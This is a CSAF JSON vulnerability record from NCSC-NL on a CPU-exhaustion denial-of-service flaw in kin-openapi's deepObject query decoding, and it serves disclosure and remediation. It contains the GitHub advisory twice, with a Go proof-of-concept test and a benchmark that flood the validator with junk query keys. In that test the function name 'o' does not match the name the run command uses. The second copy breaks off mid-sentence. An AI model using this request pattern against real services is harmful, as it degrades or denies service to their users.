{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-100350",
        "tracking": {
            "current_release_date": "2026-10-20T14:29:34.551279Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-100350",
            "initial_release_date": "2026-10-15T17:06:25.170653Z",
            "revision_history": [
                {
                    "date": "2026-10-15T17:06:25.170653Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-10-15T17:06:33.813406Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-10-15T20:40:09.515774Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-10-15T20:40:12.464654Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-10-16T00:28:24.888975Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (6).| Product Identifiers created (1).| References created (5).| CWES updated (1).| Vendor_assessment created."
                },
                {
                    "date": "2026-10-16T00:28:27.907891Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-10-16T18:43:55.462329Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)."
                },
                {
                    "date": "2026-10-18T00:30:17.132847Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-10-19T14:17:28.777618Z",
                    "number": "9",
                    "summary": "CVSS created.| CWES created (3).| Products created (1).| References created (3).| Description created for source.| Unknown change."
                },
                {
                    "date": "2026-10-19T14:17:28.844519Z",
                    "number": "10",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-10-19T14:17:37.483708Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-10-19T22:21:37.646847Z",
                    "number": "12",
                    "summary": "CVSS created.| CWES created (3).| Products created (1).| References created (4).| Description created for source.| Unknown change."
                },
                {
                    "date": "2026-10-20T07:30:54.798471Z",
                    "number": "13",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-10-20T07:40:02.185982Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-10-20T14:29:27.439329Z",
                    "number": "15",
                    "summary": "CVSS created.| CWES created (3).| Products created (1).| References created (5).| Description created for source.| Unknown change."
                }
            ],
            "status": "interim",
            "version": "15"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/1",
                                "product": {
                                    "name": "vers:rpm/1",
                                    "product_id": "CSAFPID-6014972",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:hummingbird:1"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Hardened Images"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-9710183"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "go-fdo-server"
                            },
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-8902830"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "grafana12.4"
                            },
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-8902831"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "grafana13.1"
                            },
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-9053231"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "grafana13.2"
                            },
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-9053232"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "hugo"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Hardened Images"
                    }
                ],
                "category": "vendor",
                "name": "Red Hat"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:deb/*",
                                        "product": {
                                            "name": "vers:deb/*",
                                            "product_id": "CSAFPID-9714347"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "golang-github-getkin-kin-openapi"
                            }
                        ],
                        "category": "product_family",
                        "name": "bookworm"
                    }
                ],
                "category": "vendor",
                "name": "debian"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.145.0|<0.146.0",
                                "product": {
                                    "name": "vers:unknown/>=0.145.0|<0.146.0",
                                    "product_id": "CSAFPID-9732351"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.145.0",
                                "product": {
                                    "name": "vers:unknown/v0.145.0",
                                    "product_id": "CSAFPID-9727427"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "kin-openapi"
                    }
                ],
                "category": "vendor",
                "name": "getkin"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-100350",
            "cwe": {
                "id": "CWE-1050",
                "name": "Excessive Platform Resource Consumption within a Loop"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "kin-openapi is a Go project for handling OpenAPI files. From 0.145.0 until 0.146.0, openapi3filter repeatedly calls regexp.MustCompile for the same parameter-name regular expression inside the per-query-key loop in urlValuesDecoder.DecodeObject used to decode a deepObject query parameter. An unauthenticated remote client can send an affected endpoint a request containing many unrelated query keys, causing ValidateRequest to perform work and allocations proportional to the attacker-controlled key count for every deepObject parameter. The expression itself is fixed and this is not regular expression denial of service; the resource consumption comes from loop-invariant recompilation. This issue is fixed in version 0.146.0.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-100350"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\n`openapi3filter` decodes `deepObject`-style query parameters by looping over **every** key in the request's query string. Inside that loop it recompiles a **loop-invariant** regular expression on every iteration. The pattern depends only on the spec-defined parameter name, not on the loop variable, so it is compiled `N` times for `N` query keys instead of once. Because the number of query keys is attacker-controlled and unbounded, a single request with many junk query keys forces a proportional number of `regexp.MustCompile` calls, consuming CPU. A handful of concurrent requests can saturate all cores — an uncontrolled-resource-consumption denial of service.\n\nThis is **not** ReDoS: the pattern is fixed (`^<param>\\[`) and matches in linear time. The cost is the **repeated compilation** of an invariant regexp, once per attacker-supplied query key.\n\n### Details\n\nIn `openapi3filter/req_resp_decoder.go`, the `deepObject` branch of `urlValuesDecoder.DecodeObject` builds a per-parameter property map by iterating over all query keys:\n\n```go\ncase \"deepObject\":\n    propsFn = func(params url.Values) (map[string]string, error) {\n        props := make(map[string]string)\n        for key, values := range params {                                            // req_resp_decoder.go:689\n            if !regexp.MustCompile(fmt.Sprintf(`^%s\\[`, regexp.QuoteMeta(param))).MatchString(key) { // :690\n                continue\n            }\n            matches := deepObjectBracketRE.FindAllStringSubmatch(key, -1)\n            ...\n        }\n        ...\n    }\n```\n\nThe regexp built at `req_resp_decoder.go:690` depends only on `param` — the parameter name defined in the OpenAPI spec — which is **constant** for the whole loop. Yet `regexp.MustCompile(...)` is invoked inside the `for key, values := range params` loop at `req_resp_decoder.go:689`, so it is recompiled once for every key present in the query string.\n\nContrast this with the already-hoisted, package-level regexp used two lines below:\n\n```go\nvar deepObjectBracketRE = regexp.MustCompile(`\\[(.*?)\\]`) // req_resp_decoder.go:41\n```\n\n`deepObjectBracketRE` is compiled exactly once at package init and reused. The per-parameter pattern at `:690` should be compiled the same way (once, outside the loop), but instead is rebuilt on every iteration.\n\n`regexp.MustCompile` costs on the order of a few microseconds per call. The number of iterations equals the number of query keys `N`, which the client fully controls (a ~1 MB URL holds roughly 100k keys). For each `deepObject` parameter `M` defined on the matched route, the request performs `N × M` compilations. The work is CPU-bound, happens during request validation before any handler logic, and scales linearly with request size, so an attacker converts cheap request bytes into expensive server CPU.\n\nAffected code path: `ValidateRequest` → `ValidateParameter` → `decodeStyledParameter` → `urlValuesDecoder.DecodeObject` (the `deepObject` case). Any operation with at least one `in: query`, `style: deepObject` parameter is exploitable.\n\n### PoC\n\nThe following self-contained test (package `openapi3filter_test`) defines a spec with a single `deepObject` query parameter, then validates two requests that differ only in the number of junk query keys. Decoding time grows with the key count even though none of the junk keys are part of the parameter.\n\nSave as `openapi3filter/advisory_poc_test.go`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst specDeepObjectParam = `\nopenapi: 3.0.0\ninfo: {title: PoC, version: 1.0.0}\npaths:\n  /f:\n    get:\n      parameters:\n        - name: filter\n          in: query\n          style: deepObject\n          explode: true\n          schema: {type: object, properties: {a: {type: string}}}\n      responses:\n        '200': {description: ok}\n`\n\n// TestPoCDeepObjectRegexpCPU demonstrates that decode cost scales with the\n// number of (attacker-controlled) junk query keys because a loop-invariant\n// regexp is recompiled once per key. It logs timings for two key counts and\n// fails if the larger count crosses a clearly-abnormal CPU threshold.\nfunc o(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(specDeepObjectParam))\n\tif err != nil {\n\t\tt.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tt.Fatalf(\"validate: %v\", err)\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tt.Fatalf(\"router: %v\", err)\n\t}\n\n\trun := func(n int) time.Duration {\n\t\tvar sb strings.Builder\n\t\tsb.WriteString(\"/f?filter[a]=x\")\n\t\tfor i := 0; i < n; i++ {\n\t\t\tfmt.Fprintf(&sb, \"&j%d=1\", i)\n\t\t}\n\t\treq, _ := http.NewRequest(http.MethodGet, sb.String(), nil)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"route: %v\", err)\n\t\t}\n\t\tstart := time.Now()\n\t\t_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\treturn time.Since(start)\n\t}\n\n\tsmall := run(2000)\n\tlarge := run(40000)\n\tt.Logf(\"2000 junk keys -> %v ; 40000 junk keys -> %v (cost scales with key count)\", small, large)\n\tif large > 100*time.Millisecond {\n\t\tt.Fatalf(\"VULNERABLE: 40000 junk keys cost %v of CPU for a single request (regexp recompiled per key); scales to full-core saturation\", large)\n\t}\n}\n```\n\nRun:\n\n```\ngo test ./openapi3filter/ -run TestPoCDeepObjectRegexpCPU -v\n```\n\nObserved output on the reference machine (Go 1.25, linux/amd64):\n\n```\n=== RUN   TestPoCDeepObjectRegexpCPU\n    advisory_poc_test.go:71: 2000 junk keys -> 16.542072ms ; 40000 junk keys -> 258.146949ms (cost scales with key count)\n    advisory_poc_test.go:73: VULNERABLE: 40000 junk keys cost 258.146949ms of CPU for a single request (regexp recompiled per key); scales to full-core saturation\n--- FAIL: TestPoCDeepObjectRegexpCPU (0.28s)\nFAIL\nFAIL\tgithub.com/getkin/kin-openapi/openapi3filter\t0.293s\nFAIL\n```\n\nTime grows roughly linearly with the key count (20× more keys → roughly 15× more time), and none of the `j<i>=1` keys belong to the `filter` parameter — they are pure junk whose only effect is to add loop iterations, each of which recompiles the invariant regexp. A URL of about 1 MB (roughly 100k keys) pushes a single request into the 0.6 s range per `deepObject` parameter; a few concurrent such requests saturate every core.\n\n### Benchmark\n\nThe wall-clock PoC above is threshold-based and machine-sensitive. A `testing.B` benchmark built on the same spec (`specDeepObjectParam`) makes the scaling — and the per-request memory blow-up — reproducible and quantitative. It reuses the PoC's spec, router and request-shaping, sweeping the junk-key count and reporting `ns/op`, `B/op`, and `allocs/op`.\n\nSave as `openapi3filter/advisory_poc_bench_test.go` (same package, alongside the PoC):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// BenchmarkDeepObjectJunkKeys measures the per-request validation cost of a\n// deepObject query parameter as the number of attacker-controlled junk query\n// keys grows. Before the fix, cost scales linearly with the key count because a\n// loop-invariant regexp is recompiled once per key; after the fix it is\n// dominated by url-parsing and grows far more gently.\nfunc BenchmarkDeepObjectJunkKeys(b *testing.B) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(specDeepObjectParam))\n\tif err != nil {\n\t\tb.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tb.Fatalf(\"validate: %v\", err)\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tb.Fatalf(\"router: %v\", err)\n\t}\n\n\tfor _, n := range []int{1000, 5000, 20000, 40000, 80000, 100000} {\n\t\tvar sb strings.Builder\n\t\tsb.WriteString(\"/f?filter[a]=x\")\n\t\tfor i := 0; i < n; i++ {\n\t\t\tfmt.Fprintf(&sb, \"&j%d=1\", i)\n\t\t}\n\t\ttarget := sb.String()\n\n\t\tb.Run(fmt.Sprintf(\"keys=%d\", n), func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor i := 0; i < b.N; i++ {\n\t\t\t\treq, _ := http.NewRequest(http.MethodGet, target, nil)\n\t\t\t\troute, pathParams, err := router.FindRoute(req)\n\t\t\t\tif err != nil {\n\t\t\t\t\tb.Fatalf(\"route: %v\", err)\n\t\t\t\t}\n\t\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{\n\t\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n```\n\nRun:\n\n```\ngo test ./openapi3filter/ -run '^$' -bench BenchmarkDeepObjectJunkKeys -benchmem -benchtime=2s\n```\n\nResults on the vulnerable code (Go 1.25, darwin/arm64, Apple M4 Pro):\n\n| junk keys | ns/op | B/op | allocs/op |\n|----------:|------------:|-------------:|------------:|\n|     1,000 |   1,355,966 |   3,853,606 |     48,114 |\n|     5,000 |   7,833,901 |  18,975,316 |    240,221 |\n|    20,000 |  33,701,124 |  75,748,660 |    960,562 |\n|    40,000 |  63,365,171 | 151,394,478 |  1,920,786 |\n|    80,000 | 117,388,579 | 302,663,170 |  3,841,109 |\n|   100,000 | 147,468,311 | 375,159,565 |  4,801,189 |\n\nThe benchmark quantifies the report along two axes the single-shot PoC only hinted at:\n\n- **CPU scales cleanly linearly, with no self-limiting plateau.** Every metric grows in near-exact proportion to the junk-key count across two orders of magnitude: CPU, bytes and allocations all rise ~100× from 1k to 100k keys. At 100k keys a single request burns ~147 ms of CPU **before any handler runs**, and the cost does not taper off — an attacker gets full linear return on each additional junk byte, with the only ceiling being the request-size limit the server chooses to impose (if any).\n- **The recompilation dominates allocations, not just CPU.** Each junk key both compiles a throwaway `*regexp.Regexp` and allocates its compiled program as garbage: the vulnerable path costs a steady **~48 allocations and ~3.75 KB per junk key** (375 MB and 4.8M allocations at 100k keys). So the same root cause drives both CPU exhaustion and heavy GC/allocator pressure — which is why this mechanism, while distinct from the adjacent memory-exhaustion advisory, also inflates memory traffic.\n\n### Impact\n\nUncontrolled CPU consumption (denial of service). Any service that uses `openapi3filter.ValidateRequest` (directly or via a router) to validate requests against a spec containing at least one `in: query`, `style: deepObject` parameter is affected. An unauthenticated attacker who can reach such an endpoint can send requests with large numbers of junk query keys; each request performs a number of `regexp.MustCompile` calls proportional to the request's query-key count times the number of `deepObject` parameters on the route. Because the work is CPU-bound and executed during validation (before any application handler runs), modest request rates can starve the process of CPU and degrade or deny service to legitimate clients. There is no impact to confidentiality or integrity.\n\n### Remediation\n\nHoist the invariant regexp out of the per-key loop: compile the `^<param>\\[` pattern once per `deepObject` parameter (before iterating the query keys) and reuse the compiled `*regexp.Regexp` for every key — mirroring how the package-level `deepObjectBracketRE` (`req_resp_decoder.go:41`) is already handled. This makes decode cost independent of the junk-key count. Matching semantics are unchanged (the pattern still derives from the spec parameter name via `regexp.QuoteMeta`, so it stays panic-safe for any name), and `*regexp.Regexp` is safe for the reuse.\n\nAs a mitigation before upgrading, front affected endpoints with a limit on request/URL size or query-key count (e.g. at a reverse proxy or middleware), which bounds the number of loop iterations an attacker can force.\n\n### Notes\n\n- **Advisory relationship:** Novel. Adjacent to previously reported memory-exhaustion issue in `deepObject` decoding (via `sliceMapToSlice`), but this is a distinct CPU-exhaustion mechanism — repeated compilation of a loop-invariant regexp, once per attacker-supplied query key — not covered by that earlier memory-focused advisory.",
                    "title": "github - https://github.com/advisories/GHSA-h4r5-mxv5-8mjc"
                },
                {
                    "category": "description",
                    "text": "A flaw was found in kin-openapi. An unauthenticated remote attacker can trigger a Denial of Service (DoS) by sending requests containing a large number of query parameters to an affected endpoint. Due to redundant regular expression compilation within the parameter decoding loop, processing these requests leads to excessive CPU and memory consumption, potentially degrading application responsiveness or exhausting server resources.",
                    "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-100350"
                },
                {
                    "category": "description",
                    "text": "kin-openapi is a Go project for handling OpenAPI files. From 0.145.0 until 0.146.0, openapi3filter repeatedly calls regexp.MustCompile for the same parameter-name regular expression inside the per-query-key loop in urlValuesDecoder.DecodeObject used to decode a deepObject query parameter. An unauthenticated remote client can send an affected endpoint a request containing many unrelated query keys, causing ValidateRequest to perform work and allocations proportional to the attacker-controlled key count for every deepObject parameter. The expression itself is fixed and this is not regular expression denial of service; the resource consumption comes from loop-invariant recompilation. This issue is fixed in version 0.146.0.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-100350"
                },
                {
                    "category": "description",
                    "text": "kin-openapi is a Go project for handling OpenAPI files. From 0.145.0 until 0.146.0, openapi3filter repeatedly calls regexp.MustCompile for the same parameter-name regular expression inside the per-query-key loop in urlValuesDecoder.DecodeObject used to decode a deepObject query parameter. An unauthenticated remote client can send an affected endpoint a request containing many unrelated query keys, causing ValidateRequest to perform work and allocations proportional to the attacker-controlled key count for every deepObject parameter. The expression itself is fixed and this is not regular expression denial of service; the resource consumption comes from loop-invariant recompilation. This issue is fixed in version 0.146.0.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-100350"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\n`openapi3filter` decodes `deepObject`-style query parameters by looping over **every** key in the request's query string. Inside that loop it recompiles a **loop-invariant** regular expression on every iteration. The pattern depends only on the spec-defined parameter name, not on the loop variable, so it is compiled `N` times for `N` query keys instead of once. Because the number of query keys is attacker-controlled and unbounded, a single request with many junk query keys forces a proportional number of `regexp.MustCompile` calls, consuming CPU. A handful of concurrent requests can saturate all cores — an uncontrolled-resource-consumption denial of service.\n\nThis is **not** ReDoS: the pattern is fixed (`^<param>\\[`) and matches in linear time. The cost is the **repeated compilation** of an invariant regexp, once per attacker-supplied query key.\n\n### Details\n\nIn `openapi3filter/req_resp_decoder.go`, the `deepObject` branch of `urlValuesDecoder.DecodeObject` builds a per-parameter property map by iterating over all query keys:\n\n```go\ncase \"deepObject\":\n    propsFn = func(params url.Values) (map[string]string, error) {\n        props := make(map[string]string)\n        for key, values := range params {                                            // req_resp_decoder.go:689\n            if !regexp.MustCompile(fmt.Sprintf(`^%s\\[`, regexp.QuoteMeta(param))).MatchString(key) { // :690\n                continue\n            }\n            matches := deepObjectBracketRE.FindAllStringSubmatch(key, -1)\n            ...\n        }\n        ...\n    }\n```\n\nThe regexp built at `req_resp_decoder.go:690` depends only on `param` — the parameter name defined in the OpenAPI spec — which is **constant** for the whole loop. Yet `regexp.MustCompile(...)` is invoked inside the `for key, values := range params` loop at `req_resp_decoder.go:689`, so it is recompiled once for every key present in the query string.\n\nContrast this with the already-hoisted, package-level regexp used two lines below:\n\n```go\nvar deepObjectBracketRE = regexp.MustCompile(`\\[(.*?)\\]`) // req_resp_decoder.go:41\n```\n\n`deepObjectBracketRE` is compiled exactly once at package init and reused. The per-parameter pattern at `:690` should be compiled the same way (once, outside the loop), but instead is rebuilt on every iteration.\n\n`regexp.MustCompile` costs on the order of a few microseconds per call. The number of iterations equals the number of query keys `N`, which the client fully controls (a ~1 MB URL holds roughly 100k keys). For each `deepObject` parameter `M` defined on the matched route, the request performs `N × M` compilations. The work is CPU-bound, happens during request validation before any handler logic, and scales linearly with request size, so an attacker converts cheap request bytes into expensive server CPU.\n\nAffected code path: `ValidateRequest` → `ValidateParameter` → `decodeStyledParameter` → `urlValuesDecoder.DecodeObject` (the `deepObject` case). Any operation with at least one `in: query`, `style: deepObject` parameter is exploitable.\n\n### PoC\n\nThe following self-contained test (package `openapi3filter_test`) defines a spec with a single `deepObject` query parameter, then validates two requests that differ only in the number of junk query keys. Decoding time grows with the key count even though none of the junk keys are part of the parameter.\n\nSave as `openapi3filter/advisory_poc_test.go`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst specDeepObjectParam = `\nopenapi: 3.0.0\ninfo: {title: PoC, version: 1.0.0}\npaths:\n  /f:\n    get:\n      parameters:\n        - name: filter\n          in: query\n          style: deepObject\n          explode: true\n          schema: {type: object, properties: {a: {type: string}}}\n      responses:\n        '200': {description: ok}\n`\n\n// TestPoCDeepObjectRegexpCPU demonstrates that decode cost scales with the\n// number of (attacker-controlled) junk query keys because a loop-invariant\n// regexp is recompiled once per key. It logs timings for two key counts and\n// fails if the larger count crosses a clearly-abnormal CPU threshold.\nfunc o(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(specDeepObjectParam))\n\tif err != nil {\n\t\tt.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tt.Fatalf(\"validate: %v\", err)\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tt.Fatalf(\"router: %v\", err)\n\t}\n\n\trun := func(n int) time.Duration {\n\t\tvar sb strings.Builder\n\t\tsb.WriteString(\"/f?filter[a]=x\")\n\t\tfor i := 0; i < n; i++ {\n\t\t\tfmt.Fprintf(&sb, \"&j%d=1\", i)\n\t\t}\n\t\treq, _ := http.NewRequest(http.MethodGet, sb.String(), nil)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"route: %v\", err)\n\t\t}\n\t\tstart := time.Now()\n\t\t_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\treturn time.Since(start)\n\t}\n\n\tsmall := run(2000)\n\tlarge := run(40000)\n\tt.Logf(\"2000 junk keys -> %v ; 40000 junk keys -> %v (cost scales with key count)\", small, large)\n\tif large > 100*time.Millisecond {\n\t\tt.Fatalf(\"VULNERABLE: 40000 junk keys cost %v of CPU for a single request (regexp recompiled per key); scales to full-core saturation\", large)\n\t}\n}\n```\n\nRun:\n\n```\ngo test ./openapi3filter/ -run TestPoCDeepObjectRegexpCPU -v\n```\n\nObserved output on the reference machine (Go 1.25, linux/amd64):\n\n```\n=== RUN   TestPoCDeepObjectRegexpCPU\n    advisory_poc_test.go:71: 2000 junk keys -> 16.542072ms ; 40000 junk keys -> 258.146949ms (cost scales with key count)\n    advisory_poc_test.go:73: VULNERABLE: 40000 junk keys cost 258.146949ms of CPU for a single request (regexp recompiled per key); scales to full-core saturation\n--- FAIL: TestPoCDeepObjectRegexpCPU (0.28s)\nFAIL\nFAIL\tgithub.com/getkin/kin-openapi/openapi3filter\t0.293s\nFAIL\n```\n\nTime grows roughly linearly with the key count (20× more keys → roughly 15× more time), and none of the `j<i>=1` keys belong to the `filter` parameter — they are pure junk whose only effect is to add loop iterations, each of which recompiles the invariant regexp. A URL of about 1 MB (roughly 100k keys) pushes a single request into the 0.6 s range per `deepObject` parameter; a few concurrent such requests saturate every core.\n\n### Benchmark\n\nThe wall-clock PoC above is threshold-based and machine-sensitive. A `testing.B` benchmark built on the same spec (`specDeepObjectParam`) makes the scaling — and the per-request memory blow-up — reproducible and quantitative. It reuses the PoC's spec, router and request-shaping, sweeping the junk-key count and reporting `ns/op`, `B/op`, and `allocs/op`.\n\nSave as `openapi3filter/advisory_poc_bench_test.go` (same package, alongside the PoC):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// BenchmarkDeepObjectJunkKeys measures the per-request validation cost of a\n// deepObject query parameter as the number of attacker-controlled junk query\n// keys grows. Before the fix, cost scales linearly with the key count because a\n// loop-invariant regexp is recompiled once per key; after the fix it is\n// dominated by url-parsing and grows far more gently.\nfunc BenchmarkDeepObjectJunkKeys(b *testing.B) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(specDeepObjectParam))\n\tif err != nil {\n\t\tb.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tb.Fatalf(\"validate: %v\", err)\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tb.Fatalf(\"router: %v\", err)\n\t}\n\n\tfor _, n := range []int{1000, 5000, 20000, 40000, 80000, 100000} {\n\t\tvar sb strings.Builder\n\t\tsb.WriteString(\"/f?filter[a]=x\")\n\t\tfor i := 0; i < n; i++ {\n\t\t\tfmt.Fprintf(&sb, \"&j%d=1\", i)\n\t\t}\n\t\ttarget := sb.String()\n\n\t\tb.Run(fmt.Sprintf(\"keys=%d\", n), func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor i := 0; i < b.N; i++ {\n\t\t\t\treq, _ := http.NewRequest(http.MethodGet, target, nil)\n\t\t\t\troute, pathParams, err := router.FindRoute(req)\n\t\t\t\tif err != nil {\n\t\t\t\t\tb.Fatalf(\"route: %v\", err)\n\t\t\t\t}\n\t\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{\n\t\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n```\n\nRun:\n\n```\ngo test ./openapi3filter/ -run '^$' -bench BenchmarkDeepObjectJunkKeys -benchmem -benchtime=2s\n```\n\nResults on the vulnerable code (Go 1.25, darwin/arm64, 